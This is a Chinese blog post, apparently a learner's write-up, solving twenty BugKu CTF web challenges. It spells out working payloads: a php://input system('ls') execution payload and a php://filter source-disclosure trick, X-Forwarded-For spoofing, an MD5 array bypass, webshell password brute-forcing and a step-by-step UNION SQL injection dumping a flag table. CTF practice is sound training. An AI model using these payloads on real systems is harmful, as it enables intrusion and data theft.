CTF-BugKu-WEB-1-20

喬悟空發表於2020-09-18

2020.09.17

全面複習web,給自己定個目標,後天之前結束BugKu-Web,開始逆向。

經驗教訓

  1. php弱等於用於繞過==,弱等於之前會把等號兩邊轉化為同一型別變數;
  2. 全域性變數全域性變數全域性變數!!$GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION
  3. 瀏覽器的檢查元素的網路中內容不一定可信,因為瀏覽器在接受資料的時候會過濾不符合規則的內容,但是flag可能就藏著裡邊
  4. 偽裝成本地登陸新增請求頭X-Forwarded-For: 127.0.0.1
  5. 火狐瀏覽器有時候會出bug,在一個比較確定的答案沒有結果的時候,可以換個瀏覽器試試。。。。
  6. 檔案包含漏洞的利用,php://input配合<?php echo system('ls');?>php://filter/read=convert.base64-encode/resource=index.php
  7. 陣列求md5會返回false;
  8. 如果a、b兩個值不相同,則異或結果為1。如果a、b兩個值相同,異或結果為0。
  9. 資料庫中大資料庫是information_schema,其中有TABLES、COLUMNS表,儲存所有的表和列資訊。

第一題 web2

https://ctf.bugku.com/challenges#web2

  1. 一堆這個,在頁碼原始檔找到flag

第二題 計算器

https://ctf.bugku.com/challenges#計算器

  1. 開啟如下
  2. 輸入框只能輸入一位數,檢查原始碼,發現生成驗證碼多js檔案
  3. 直接訪問,在檔案中發現flagflag{CTF-bugku-0032}

第三題 web基礎$_GET

https://ctf.bugku.com/challenges#web基礎$_GET

  1. 比較簡單的get,構造payload?what=flag,輸出flagflag{bugku_get_su8kej2en}

第四題 web基礎$_POST

https://ctf.bugku.com/challenges#web基礎$_POST

  1. 簡單的post,Firefox開啟,hackbar外掛,新增postwhat=flag,請求得到flagflag{bugku_get_ssseint67se}

第五題 矛盾

https://ctf.bugku.com/challenges#矛盾

  1. 不能是數字,還得弱等於1,這就用到字元'1qwk'弱等於數字1這個知識點了,在弱等於的時候,等號兩邊會轉化為同一型別的變數,這裡1qwk轉化為數字後為數字1,payloadnum=1qwk,得到flagflag{bugku-789-ps-ssdf}

第六題 web3

https://ctf.bugku.com/challenges#web3

  1. 開啟是很多彈窗,看原始碼,在底部發現資訊,html轉碼,得KEY{J2sa42ahJK-HS11III}

第七題 域名解析

https://ctf.bugku.com/challenges#域名解析

  1. 訪問http://123.206.87.240/後,用hackbar修改host為flag.baidu.com即可得KEY{DSAHDSJ82HDS2211}

第八題 你必須讓他停下

https://ctf.bugku.com/challenges#你必須讓他停下

  1. 看原始碼知道是一個script指令碼一直在執行,用瀏覽器停用指令碼之後,得到如下介面,沒啥用,
  2. 看頁面文字,stop at panda,我重新整理介面原始碼,發現請求檔案一直在變,是不是請求的是panda就可以了呢,burp攔截試試,一直重發就會發現,有概率出現flagflag{dummy_game_1s_s0_popular}

第九題 本地包含

https://ctf.bugku.com/challenges#本地包含

  1. 訪問500,估計是壞掉了

第十題 變數1

https://ctf.bugku.com/challenges#變數1

  1. 得到程式碼
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
  1. 主要意思就是滿足正規表示式,來用var_dump()來輸出變數值,這裡想到全域性變數,構造payload?args=GLOBALS得到flagflag{92853051ab894a64f7865cf3c2128b34}

第十一題 web5

https://ctf.bugku.com/challenges#web5

  1. 開啟檢視原始碼,發現brainfuck密碼,不對,經過查閱是JSFUCK密碼,這是一種神奇的fuck密碼?,解密方法就是在谷歌瀏覽器的控制檯輸進去,結果是ctf{whatfk}

  2. 輸入框內,被嘲諷了,原來這就是答案,直接輸就行了……我想多了

第十二題 頭等艙

https://ctf.bugku.com/challenges#頭等艙

  1. 真的就啥也沒有,那隻能掃一掃了
  2. 通過burp抓包,發現響應包頭部有flagflag{Bugku_k8_23s_istra}

第十三題 網站被黑

https://ctf.bugku.com/challenges#網站被黑

  1. 開啟,一個沒用的網頁,原始碼什麼也沒有,那也只能掃描目錄了dirb http://123.206.87.240:8002/webshell/
  2. 掃描發現shell.php,需要輸入密碼,弱密碼不好用,考慮爆破。得到密碼為hack,輸入得到flagflag{hack_bug_ku035}

第十四題 管理員系統

https://ctf.bugku.com/challenges#管理員系統

  1. 開啟網站是一個簡陋的管理員系統,嘗試弱密碼登陸,失敗,檢視原始碼,發現最底部有東西dGVzdDEyMw==,base64解碼得test123,可能是密碼,
    {{uploading-image-166887.png(uploading...)}}
  2. 登陸未果,考慮是本地登陸的原因,使用burp新增請求頭X-Forwarded-For: 127.0.0.1,得到flag85ff2ee4171396724bae20c0bd851f6b

第十五題 web4

https://ctf.bugku.com/challenges#web4

  1. 開啟讓看原始碼,看看就看看,是一個script,主要意思就是把兩個字串轉碼,然後執行,我轉碼後如下:
function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;
  1. 程式碼的意思很明確,就是password的值相等就返回正確,與他比較多一串是md5值,經解密得到1466644826,嘗試輸入
  2. 不好使,然後我就無語了,搜了搜發現不用解碼,直接輸入就行,mdfuckKEY{J22JK-HS11}

第十六題 flag在index裡

https://ctf.bugku.com/challenges#flag在index裡

  1. 點選連結http://123.206.87.240:8005/post/index.php?file=show.php,這個跳轉的連結有點眼熟,好像是檔案包含漏洞,於是我嘗試php://input,但是好像被過濾了
  2. 於是又嘗試另一個php://filter/read=convert.base64-encode/resource=index.php,成功輸出結果,轉碼後得到flagflag{edulcni_elif_lacol_si_siht}

第十七題 輸入密碼檢視flag

https://ctf.bugku.com/challenges#輸入密碼檢視flag

  1. 輸入密碼,我們要善於找到題眼,說了是五位數密碼,他的意思就是五位數字,那麼我認為可以爆破一波,let‘s go
  2. 突然懷疑是不是不靠譜,有點慢啊這樣,一共九萬個啊,是不是應該用py指令碼開多執行緒試試啊……
  3. nice,果然,題眼對了就沒問題,說話間出結果了,哈哈哈flag{bugku-baopo-hah}

第十八題 點選一百萬次

https://ctf.bugku.com/challenges#點選一百萬次

  1. 應該是沒了這個題……

第十九題 備份是個好習慣

https://ctf.bugku.com/challenges#備份是個好習慣

  1. 開啟時一堆啥玩意,貌似md5,64位,難不成是兩個md5……

    解密結果是[空密碼],這是啥玩意,哦哦wc,這是重複了兩遍的同一個
    d41d8cd98f00b204e9800998ecf8427e
    d41d8cd98f00b204e9800998ecf8427e

    但是解密結果還是一樣……
  2. 考慮到題目是備份,那麼這個考點就是php備份格式bak swp等,構造payloadindex.php.bak,成功下載到檔案
  3. 拖到winhex中得到index程式碼

    整理如下,接下來就是程式碼解析:
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php"; //引入檔案
ini_set("display_errors", 0); //不報錯
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 擷取問好之後的內容
$str = substr($str,1); // 把問號去掉
$str = str_replace('key','',$str); // 過濾掉字元key,可以用複寫kekeyy繞過
parse_str($str); // 把str解析到變數中,這種情況直接替代同名變數
echo md5($key1);

echo md5($key2); // 這就是我們一開始看見的兩個md5值的原因
if(md5($key1) == md5($key2) && $key1 !== $key2){ // 得到flag的條件,key1不等於key2,但是他們的md5值相等,這理論上是不可能的,但是我們可以用陣列求md5返回false來繞過
    echo $flag."鍙栧緱flag";
}
?>
  1. 經過分析,構造payloadhttp://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
    得到flagBugku{OH_YOU_FIND_MY_MOMY}

第二十題 成績單

https://ctf.bugku.com/challenges#成績單

  1. 是個sql注入題,哈哈哈,這個我記得,印象深刻。先隨便查一個。
  2. 整個注入過程如下:
    • id=1,輸出正常
    • id=1' ^(1)%23,沒輸出
    • id=1' ^(0)%23,輸出正常,說明存在注入
    • 1' ORDER BY 4%23,輸出正常
    • 1' ORDER BY 5%23,輸出錯誤,說明查詢結果有4列
    • 0' UNION SELECT 1,2,3,4%23,輸出正常,能看到每一個輸出對應的地方,可謂一個蘿蔔一個坑?
    • 到這一步就說明比較順利了,剩下的就是比較模版的東西了。id換成0,目的是讓前面查詢為空,這樣後邊的查詢結果就能顯示出來。
    • id=0' UNION SELECT database(),2,3,4%23,查詢資料庫名為skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='skctf_flag'),3,4%23,查詢資料庫下表名為fl4g,sc
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='fl4g'),3,4%23,查詢表fl4g下列名skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(skctf_flag) FROM skctf_flag.fl4g),3,4%23,查詢列skctf_flag中資料得到flagBUGKU{Sql_INJECT0N_4813drd8hz4}
  3. 這真是一道相當好的注入練習題,我受益匪淺。